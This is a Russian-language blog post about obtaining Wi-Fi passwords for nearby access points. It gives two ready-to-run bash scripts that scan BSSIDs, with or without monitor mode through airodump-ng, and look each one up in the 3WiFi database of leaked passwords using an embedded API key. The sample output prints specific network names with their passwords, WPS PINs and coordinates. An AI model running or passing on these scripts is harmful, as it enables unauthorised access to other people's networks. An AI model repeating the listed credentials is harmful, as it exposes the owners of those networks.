vzlom-wi-f

У меня появилась парочка интересных идей и в этой заметке я поделюсь первой идеей. Есть сервис 3WiFi — он позволяет узнать пароли от точек доступа Wi-Fi. Подробности о самом сервисе в статье «Сервис 3WiFi: пароли от точек доступа Wi-Fi». Было бы неплохо что-нибудь такое придумать, чтобы автоматически проверять все точки в округе на наличие тех, которые есть в базе данных 3WiFi — чтобы не искать вручную, а просто сразу просканировать и подключиться. И… это уже тоже сделано — подробности в статье «Автоматическая проверка всех Точек Доступа по базе 3WiFi».

Но реализация WiFi-autopwner требует наличия двух беспроводных адаптеров, один из которых обязательно должен поддерживать режим монитора, а второй обязательно быть подключённым к Интернету.

В общем, я придумал способ, который позволяет проверить все беспроводные точки доступа в пределах досягаемости на их наличие в базе 3WiFi, но при этом требуется только одна Wi-Fi карта, причём обычная — её не нужно переводить в режим монитора. Правда, подключение Интернету по-прежнему требуется — поскольку используется онлайн база данных. Но что важно: во время сканирования, Wi-Fi соединение не будет разрываться. То есть достаточно 1 адаптера, который будет и сканировать, и в это же самое время быть подключённым к Интернету.

Попросту говоря, если у вас Linux с любой Wi-Fi картой, то вам этот способ уже подходит. Итак, рассмотрим способ как быстро узнать пароль от Wi-Fi рядом обычной Wi-Fi картой без режима монитора.

Создаём файл 3wifi.sh:

1gedit 3wifi.sh

И копируем в него:

1234567891011121314151617181920212223242526#!/bin/bash IFACE='wlan0'SCAN_ATTEMPTS=4API_KEY='23ZRA8UBSLsdhbdJMp7IpbbsrDFDLuBC' TMP_FILE='/tmp/scan_results.txt' rm $TMP_FILE 2>/dev/null for (( i=1; i<=$SCAN_ATTEMPTS; i=i+1 )); doecho "Scan #: $i"FOUND="$( sudo iw dev $IFACE scan | grep -E '^BSS' | grep -E -o '[0-9a-z:]{17}' )"echo "$FOUND" >> /tmp/scan_results.txtecho 'Found APs: ' `echo "$FOUND" | wc -l`done UNIQUE="$( cat $TMP_FILE | sort | uniq )"echo '==================='echo "Unique APs: "`echo "$UNIQUE" | wc -l` echo "$UNIQUE" | while read -r line ; doecho "Trying $line...";echo -e "\033[0;32m`curl -s 'http://3wifi.stascorp.com/api/apiquery?key='$API_KEY'&bssid='$line`\e[0m" | grep -E -v ':\[\]';sleep 15;done

Прежде чем запустить, нужно указать имя своего беспроводного интерфейса. Узнать это имя можно командой:

1iw dev

Вписать его нужно в строке (вместо wlan0):

1IFACE='wlan0'

Другие настройки — количество сканирований:

1SCAN_ATTEMPTS=4

По умолчанию указано 4 — можете выбрать больше или меньше. Каждое сканирование занимает всего несколько секунд — чем больше сканирований, тем меньше вероятность пропустить беспроводные сети — особенно если вы перемещаете беспроводную карту в пределах комнаты.

Настройка API ключа сервиса 3WiFi:

1API_KEY='23ZRA8UBSLsdhbdJMp7IpbbsrDFDLuBC'

Используется API ключ гостевого аккаунта — если у вас есть аккаунт более высокого уровня, то можете указать здесь свой ключ. Если такого аккаунта у вас нет — то не надо ничего менять в этой строке.

Если у вас не-гостевой аккаунт и вы прописали свой API ключ, то удалите из скрипта строку:

1sleep 15;

Запуск очень простой:

1sudo bash 3wifi.sh

Будет выведено:

3wifi.sh

Если после строки, которая начинается с Trying … ничего не выведено, значит проверяемая ТД отсутствует в базе данных 3WiFi.

Если Точка Доступа найдена в 3WiFi, то будет выведено примерно следующее:

1{"result":true,"data":{"D8:FB:5E:4D:47:82":[{"time":"2019-07-01 18:53:43","bssid":"D8:FB:5E:4D:47:82","essid":"BURAPA","sec":"WPA\/WPA2","key":"0840446924","wps":"12345670","lat":12.52412224,"lon":99.97179413}]},"time":0.012100219726562}

essid — это имя точки доступа, а key — это пароль от неё. То есть в предыдущей строке сказано, что для ТД BURAPA паролем для подключения к Wi-Fi является 0840446924.

Если возникла ошибка вида:

1{"result":false,"error":"cooldown","time":0.0015487670898438}

то она означает, что предыдущая ТД не проверена — вы можете позднее перезапустить сканирование, либо вручную проверить пропущенные ТД на сайте 3WiFi.

Второй запуск:

3wifi.sh 2

Две ТД не получилось проверить, зато найдена новая в БД:

1{"result":true,"data":{"FC:52:8D:B0:EE:9E":[{"time":"2019-07-01 07:08:11","bssid":"FC:52:8D:B0:EE:9E","essid":"walaiporn","sec":"WPA\/WPA2","key":"77291944","wps":"12345670","lat":12.52481079,"lon":99.97236633}]},"time":0.49964094161987}

Имя: walaiporn, пароль: 77291944.

Бонус

Рассмотрим ещё один вариант — когда Wi-Fi карта одна, но она поддерживает режим монитора. В этом случае можно просканировать сети с помощью airodump-ng — во время сканирование беспроводной адаптер должен быть в режиме монитора и, следовательно, не может быть подключён к Интернету. Поэтому данные сканирования, вместо проверки, можно сохранить в файл.

Затем, после окончания сканирования, можно подключиться к Интернету с помощью этого адаптера и выполнить проверку по онлайн базе данных.

Итак, переводим интерфейс в режим монитора (замените ИНТЕРФЕЙС на имя вашего беспроводного интерфейса):

123sudo ip link set ИНТЕРФЕЙС downsudo iw ИНТЕРФЕЙС set monitor controlsudo ip link set ИНТЕРФЕЙС up

И запускаем airodump-ng (укажите действительное имя интерфейса вместо ИНТЕРФЕЙС):

1sudo airodump-ng --berlin 60000 -w /tmp/3wifi ИНТЕРФЕЙС
airodump ng

Работать программа может любое количество времени — на ваше усмотрение. Когда надоест собирать данные, нажмите CTRL+с.

Теперь создайте файл 3wifi-file.sh:

1gedit 3wifi-file.sh

Скопируйте в него:

12345678910111213#!/bin/bash API_KEY='23ZRA8UBSLsdhbdJMp7IpbbsrDFDLuBC' FILE='/tmp/3wifi-01.csv' while read -r line ; doBSSID=`echo $line | awk '{print $1}' | sed 's/,//'`ESSID=`echo $line | awk -F"," '{print $14}' | sed 's/ //'`echo "Trying $BSSID $ESSID"echo -e "\033[0;32m`curl -s 'http://3wifi.stascorp.com/api/apiquery?key='$API_KEY'&bssid='$BSSID`\e[0m" | grep -E -v ':\[\]'sleep 15    done < <(grep -E '([A-Za-z0-9._: @\(\)\\=\[\{\}\"%;-]+,){14}' $FILE)

Когда у вас вновь будет подключение к Интернету, запустите его:

1bash 3wifi-file.sh

Дождитесь окончания работы.

3wifi file.sh

Если вы собираетесь запускать airodump-ng ещё раз, то очистите файлы, которые были созданы ранее (иначе программа 3wifi-file.sh будет вновь использовать старые файлы):

1sudo rm /tmp/3wifi*

От KaligulBorhes

"How long, ignoramuses, will you love ignorance? How long will fools hate knowledge?"